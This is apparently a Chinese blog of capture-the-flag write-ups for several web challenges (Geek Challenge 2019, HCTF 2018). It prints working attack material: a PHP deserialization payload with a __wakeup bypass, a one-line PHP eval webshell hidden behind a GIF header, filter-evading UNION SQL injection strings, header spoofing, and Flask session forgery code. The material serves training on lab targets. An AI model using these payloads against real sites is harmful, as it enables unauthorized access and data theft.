[极客大挑战 2019]PHP
题目说网站备份,直接www.zip,里面有个flag文件,提交了不对。
于是看其他的php文件,在index.php里,众多的HTML代码藏了这一串代码(非常不起眼)
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
对我们传入的的select进行反序列化,然后赋给res变量。
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} //调用前端输入的username和password
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
简单的分析一下
对我们传入的值进行反序列化
满足两点:
password=100
username=admin
构造payload:
<?php
class Name{
private $username= 'nonono';
private $password= 'yesyes';
public function_construct($username,$password){
$this->username=$username;
$this->password=$password;
}
}
$a=new Name('admin',100);
var_dump(serialize($a));
?>
可以得到:string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
_wakeup()函数与__sleep()函数相反,__sleep()函数,是在序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。
绕过:
当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
那麽:string(77) "O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。
于是构造payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
或者
import requests
url ="http://6f48bda4-c0e3-4ced-b753-c0af9e19b812.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
2019极客大挑战http
页面没什么东西,F12查看源码,看到了隐藏的secret.php,
用bp访问
要求我们必须从http://www.Sycsecret.com
进入。
直接改header头信息即可,我们可以通过使用referer头来修改。
又要求我们用使用Syclover浏览器,我们可以通过更改UA头,来实现。
User-Agent: "Syclover" browser
要求我们在本地读取。
我们通过伪造XFF头就行修改。X-Forwarded-For:127.0.0.1
就得到了flag
[极客大挑战 2019]Upload
试了n次,最后
不过对普通的一句话有检测
这个:
GIF89a? <script language="php">eval($_REQUEST[shell])</script>
[极客大挑战 2019]BabySQL
注入题,盲猜admin',123456
密码框报错,那就试一下admin,pwd'
闭合符号'
猜列数发现or和by都被过滤了。
双写绕过,得出三列。
联合查询注入发现过滤了union和select
双写绕过得到回显位
payload:pwd' ununionion seselectlect 1,2,database()#
再测试
又过滤了from,information(里面的or)和where
用payloadpwd' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
和' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='b4bsql' #
一张表是空,另一张表没有flag。
看了师傅们说的,flag没在这个数据库里。
payloadpwd' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #
ctf库
payload:pwd' ununion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag
日常学废了。
[HCTF 2018]admin
进去
看源码没什么东西,注册一下进去。发现了post页面一顿操作,无果。
需要管理员。
方法一:Unicode欺骗
在chang password页面,发现细节
把东西下载下来
index.html里
session[‘name’]=admin就会给flag。
另一个
strlower函数(将所有大写字符转换为小写)
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
先注册一个 ᴬᴰᴹᴵᴺ 账号,密码456,登陆进去。
修改密码为789,并且退出登录。
再次登录admin,密码789,登陆成功。
方法二:弱口令登录
账号admin,密码123(弱口令无敌)
方法三:
上面也说到了flask框架,由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。
所以就给了我们可乘之机。
我们只需要伪造管理员的session就行了
先把我们的session进行解密
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
将我们的session进行解密(大师傅的图)
类似于上面这样
我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,然后我们在config.py里发现了SECRET_KEY。
config.py里面给了
flask session加密脚本点这
再更改session
{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}
伪造好了session,抓包替换就行了。
刷web题的菜鸡。